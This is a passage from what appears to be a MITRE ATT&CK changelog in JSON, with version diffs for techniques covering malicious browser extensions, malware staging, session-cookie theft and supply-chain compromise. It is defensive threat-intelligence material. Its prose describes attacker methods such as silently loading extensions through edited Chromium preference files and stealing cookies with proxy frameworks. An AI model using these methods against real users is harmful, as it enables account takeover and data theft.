also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,8 @@\\n Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \\n \\n Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \\n+\\n+Adversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)\\n \\n Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Pulsedive\", \"description\": \" Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.\", \"url\": \"https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse internet browser extensions to establit1Adversaries may abuse internet browser extensions to establi
>sh persistent access to victim systems. Browser extensions o>sh persistent access to victim systems. Browser extensions o
>r plugins are small programs that can add functionality to a>r plugins are small programs that can add functionality to a
>nd customize aspects of internet browsers. They can be insta>nd customize aspects of internet browsers. They can be insta
>lled directly via a local file or custom URL or through a br>lled directly via a local file or custom URL or through a br
>owser's app store - an official online platform where users >owser's app store - an official online platform where users 
>can browse, install, and manage extensions for a specific we>can browse, install, and manage extensions for a specific we
>b browser. Extensions generally inherit the web browser's pe>b browser. Extensions generally inherit the web browser's pe
>rmissions previously granted.(Citation: Wikipedia Browser Ex>rmissions previously granted.(Citation: Wikipedia Browser Ex
>tension)(Citation: Chrome Extensions Definition)    Maliciou>tension)(Citation: Chrome Extensions Definition)    Maliciou
>s extensions can be installed into a browser through malicio>s extensions can be installed into a browser through malicio
>us app store downloads masquerading as legitimate extensions>us app store downloads masquerading as legitimate extensions
>, through social engineering, or by an adversary that has al>, through social engineering, or by an adversary that has al
>ready compromised a system. Security can be limited on brows>ready compromised a system. Security can be limited on brows
>er app stores, so it may not be difficult for malicious exte>er app stores, so it may not be difficult for malicious exte
>nsions to defeat automated scanners.(Citation: Malicious Chr>nsions to defeat automated scanners.(Citation: Malicious Chr
>ome Extension Numbers) Depending on the browser, adversaries>ome Extension Numbers) Depending on the browser, adversaries
> may also manipulate an extension's update url to install up> may also manipulate an extension's update url to install up
>dates from an adversary-controlled server or manipulate the >dates from an adversary-controlled server or manipulate the 
>mobile configuration file to silently install additional ext>mobile configuration file to silently install additional ext
>ensions.     Previous to macOS 11, adversaries could silentl>ensions.   Adversaries may abuse how chromium-based browsers
>y install browser extensions via the command line using the > load extensions by modifying or replacing the Preferences a
><code>profiles</code> tool to install malicious <code>.mobil>nd/or Secure Preferences files to silently install malicious
>econfig</code> files. In macOS 11+, the use of the <code>pro> extensions. When the browser is not running, adversaries ca
>files</code> tool can no longer install configuration profil>n alter these files, ensuring the extension is loaded, grant
>es; however, <code>.mobileconfig</code> files can be planted>ed desired permissions, and will persist in browser sessions
> and installed with user interaction.(Citation: xorrior chro>. This method does not require user consent and extensions a
>me extensions macOS)    Once the extension is installed, it >re silently loaded in the background from disk or from the b
>can browse to websites in the background, steal all informat>rowser's trusted store.(Citation: Pulsedive)    Previous to 
>ion that a user enters into a browser (including credentials>macOS 11, adversaries could silently install browser extensi
>), and be used as an installer for a RAT for persistence.(Ci>ons via the command line using the <code>profiles</code> too
>tation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chro>l to install malicious <code>.mobileconfig</code> files. In 
>me Extensions)(Citation: Banker Google Chrome Extension Stea>macOS 11+, the use of the <code>profiles</code> tool can no 
>ls Creds)(Citation: Catch All Chrome Extension)   There have>longer install configuration profiles; however, <code>.mobil
> also been instances of botnets using a persistent backdoor >econfig</code> files can be planted and installed with user 
>through malicious Chrome extensions for [Command and Control>interaction.(Citation: xorrior chrome extensions macOS)    O
>](https://attack.mitre.org/tactics/TA0011).(Citation: Stanti>nce the extension is installed, it can browse to websites in
>nko Botnet)(Citation: Chrome Extension C2 Malware) Adversari> the background, steal all information that a user enters in
>es may also use browser extensions to modify browser permiss>to a browser (including credentials), and be used as an inst
>ions and components, privacy settings, and other security co>aller for a RAT for persistence.(Citation: Chrome Extension 
>ntrols for [Defense Evasion](https://attack.mitre.org/tactic>Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: 
>s/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adr>Banker Google Chrome Extension Steals Creds)(Citation: Catch
>ozek) > All Chrome Extension)   There have also been instances of b
 >otnets using a persistent backdoor through malicious Chrome 
 >extensions for [Command and Control](https://attack.mitre.or
 >g/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chr
 >ome Extension C2 Malware) Adversaries may also use browser e
 >xtensions to modify browser permissions and components, priv
 >acy settings, and other security controls for [Defense Evasi
 >on](https://attack.mitre.org/tactics/TA0005).(Citation: Brow
 >ers FriarFox)(Citation: Browser Adrozek) 
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1033: Limit Software Installation", + "M1038: Execution Prevention", + "M1047: Audit", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0044: Detecting Malicious Browser Extensions Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-17 20:09:13.222000+00:00", + "modified": "2025-10-24 17:48:41.583000+00:00", + "name": "Upload Malware", + "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)(Citation: Guardio Etherhiding 2023)(Citation: Bleeping Computer Binance Smart Chain 2023)\n\nAdversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).(Citation: Datadog Security Labs Malicious PyPi Packages 2024) By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608/001", + "external_id": "T1608.001" + }, + { + "source_name": "Datadog Security Labs Malicious PyPi Packages 2024", + "description": " Sebastian Obregoso and Christophe Tafani-Dereeper. (2024, May 23). Malicious PyPI packages targeting highly specific MacOS machines. Retrieved May 22, 2025.", + "url": "https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/" + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/" + }, + { + "source_name": "Bleeping Computer Binance Smart Chain 2023", + "description": "Bill Toulas. (2023, October 13). Hackers use Binance Smart Chain contracts to store malicious scripts. Retrieved May 22, 2025.", + "url": "https://www.bleepingcomputer.com/news/security/hackers-use-binance-smart-chain-contracts-to-store-malicious-scripts/" + }, + { + "source_name": "Talos IPFS 2022", + "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.", + "url": "https://blog.talosintelligence.com/ipfs-abuse/" + }, + { + "source_name": "Guardio Etherhiding 2023", + "description": "Nati Tal and Oleg Zaytsev. (2023, October 13). \u201cEtherHiding\u201d \u2014 Hiding Web2 Malicious Code in Web3 Smart Contracts. Retrieved May 22, 2025.", + "url": "https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Kobi Haimovich, CardinalOps", + "Menachem Goldstein", + "Adam Hunt", + "Ray Jasinski" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.583000+00:00\", \"old_value\": \"2025-04-15 23:17:57.194000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\\n\\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)(Citation: Guardio Etherhiding 2023)(Citation: Bleeping Computer Binance Smart Chain 2023)\\n\\nAdversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).(Citation: Datadog Security Labs Malicious PyPi Packages 2024) By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files. \", \"old_value\": \"Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\\n\\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\\n\\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\\n \\n-Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\\n+Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)(Citation: Guardio Etherhiding 2023)(Citation: Bleeping Computer Binance Smart Chain 2023)\\n \\n-Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.\\n+Adversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).(Citation: Datadog Security Labs Malicious PyPi Packages 2024) By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Datadog Security Labs Malicious PyPi Packages 2024\", \"description\": \" Sebastian Obregoso and Christophe Tafani-Dereeper. (2024, May 23). Malicious PyPI packages targeting highly specific MacOS machines. Retrieved May 22, 2025.\", \"url\": \"https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\"}, \"root['external_references'][3]\": {\"source_name\": \"Bleeping Computer Binance Smart Chain 2023\", \"description\": \"Bill Toulas. (2023, October 13). Hackers use Binance Smart Chain contracts to store malicious scripts. Retrieved May 22, 2025.\", \"url\": \"https://www.bleepingcomputer.com/news/security/hackers-use-binance-smart-chain-contracts-to-store-malicious-scripts/\"}, \"root['external_references'][5]\": {\"source_name\": \"Guardio Etherhiding 2023\", \"description\": \"Nati Tal and Oleg Zaytsev. (2023, October 13). \\u201cEtherHiding\\u201d \\u2014 Hiding Web2 Malicious Code in Web3 Smart Contracts. Retrieved May 22, 2025.\", \"url\": \"https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16\"}, \"root['x_mitre_contributors'][2]\": \"Adam Hunt\", \"root['x_mitre_contributors'][3]\": \"Ray Jasinski\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may upload malware to third-party or adversary ct1Adversaries may upload malware to third-party or adversary c
>ontrolled infrastructure to make it accessible during target>ontrolled infrastructure to make it accessible during target
>ing. Malicious software can include payloads, droppers, post>ing. Malicious software can include payloads, droppers, post
>-compromise tools, backdoors, and a variety of other malicio>-compromise tools, backdoors, and a variety of other malicio
>us content. Adversaries may upload malware to support their >us content. Adversaries may upload malware to support their 
>operations, such as making a payload available to a victim n>operations, such as making a payload available to a victim n
>etwork to enable [Ingress Tool Transfer](https://attack.mitr>etwork to enable [Ingress Tool Transfer](https://attack.mitr
>e.org/techniques/T1105) by placing it on an Internet accessi>e.org/techniques/T1105) by placing it on an Internet accessi
>ble web server.  Malware may be placed on infrastructure tha>ble web server.  Malware may be placed on infrastructure tha
>t was previously purchased/rented by the adversary ([Acquire>t was previously purchased/rented by the adversary ([Acquire
> Infrastructure](https://attack.mitre.org/techniques/T1583))> Infrastructure](https://attack.mitre.org/techniques/T1583))
> or was otherwise compromised by them ([Compromise Infrastru> or was otherwise compromised by them ([Compromise Infrastru
>cture](https://attack.mitre.org/techniques/T1584)). Malware >cture](https://attack.mitre.org/techniques/T1584)). Malware 
>can also be staged on web services, such as GitHub or Pasteb>can also be staged on web services, such as GitHub or Pasteb
>in, or hosted on the InterPlanetary File System (IPFS), wher>in; hosted on the InterPlanetary File System (IPFS), where d
>e decentralized content storage makes the removal of malicio>ecentralized content storage makes the removal of malicious 
>us files difficult.(Citation: Volexity Ocean Lotus November >files difficult; or saved on the blockchain as smart contrac
>2020)(Citation: Talos IPFS 2022)  Adversaries may upload bac>ts, which are resilient against takedowns that would affect 
>kdoored files, such as application binaries, virtual machine>traditional infrastructure.(Citation: Volexity Ocean Lotus N
> images, or container images, to third-party software stores>ovember 2020)(Citation: Talos IPFS 2022)(Citation: Guardio E
> or repositories (ex: GitHub, CNET, AWS Community AMIs, Dock>therhiding 2023)(Citation: Bleeping Computer Binance Smart C
>er Hub). By chance encounter, victims may directly download/>hain 2023)  Adversaries may upload backdoored files, such as
>install these backdoored files via [User Execution](https://> software packages, application binaries, virtual machine im
>attack.mitre.org/techniques/T1204). [Masquerading](https://a>ages, or container images, to third-party software stores, p
>ttack.mitre.org/techniques/T1036) may increase the chance of>ackage libraries, extension marketplaces, or repositories (e
> users mistakenly executing these files.>x: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).
 >(Citation: Datadog Security Labs Malicious PyPi Packages 202
 >4) By chance encounter, victims may directly download/instal
 >l these backdoored files via [User Execution](https://attack
 >.mitre.org/techniques/T1204). Masquerading, including typo-s
 >quatting legitimate software, may increase the chance of use
 >rs mistakenly executing these files. 
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0824: Detection of Upload Malware" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-08 20:04:35.508000+00:00", + "modified": "2025-10-24 17:48:25.272000+00:00", + "name": "Steal Web Session Cookie", + "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1539", + "external_id": "T1539" + }, + { + "source_name": "Krebs Discord Bookmarks 2023", + "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.", + "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/" + }, + { + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + }, + { + "source_name": "Kaspersky TajMahal April 2019", + "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.", + "url": "https://securelist.com/project-tajmahal/90240/" + }, + { + "source_name": "Github evilginx2", + "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.", + "url": "https://github.com/kgretzky/evilginx2" + }, + { + "source_name": "GitHub Mauraena", + "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.", + "url": "https://github.com/muraenateam/muraena" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "source_name": "Talos Roblox Scam 2023", + "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.", + "url": "https://blog.talosintelligence.com/roblox-scam-overview/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Johann Rehberger", + "Menachem Goldstein", + "Don Le, Stifel Financial" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Office Suite", + "SaaS", + "Windows", + "macOS" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.272000+00:00\", \"old_value\": \"2025-04-15 23:12:39.075000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][3]\": \"Don Le, Stifel Financial\"}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1032: Multi-factor Authentication", + "M1047: Audit", + "M1051: Update Software", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Access)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0509: Detection of Web Session Cookie Theft via File, Memory, and Network Artifacts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:48:41.675000+00:00", + "name": "Supply Chain Compromise", + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)\n\nIn some cases, adversaries may conduct \u201csecond-order\u201d supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component.(Citation: Krebs 3cx overview 2023) This may allow the threat actor to spread to even more victims. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1195", + "external_id": "T1195" + }, + { + "source_name": "Avast CCleaner3 2018", + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.", + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities" + }, + { + "source_name": "Krebs 3cx overview 2023", + "description": "Brian Krebs. (2023, April 20). 3CX Breach Was a Double Supply Chain Compromise. Retrieved May 22, 2025.", + "url": "https://krebsonsecurity.com/2023/04/3cx-breach-was-a-double-supply-chain-compromise/" + }, + { + "source_name": "Command Five SK 2011", + "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.", + "url": 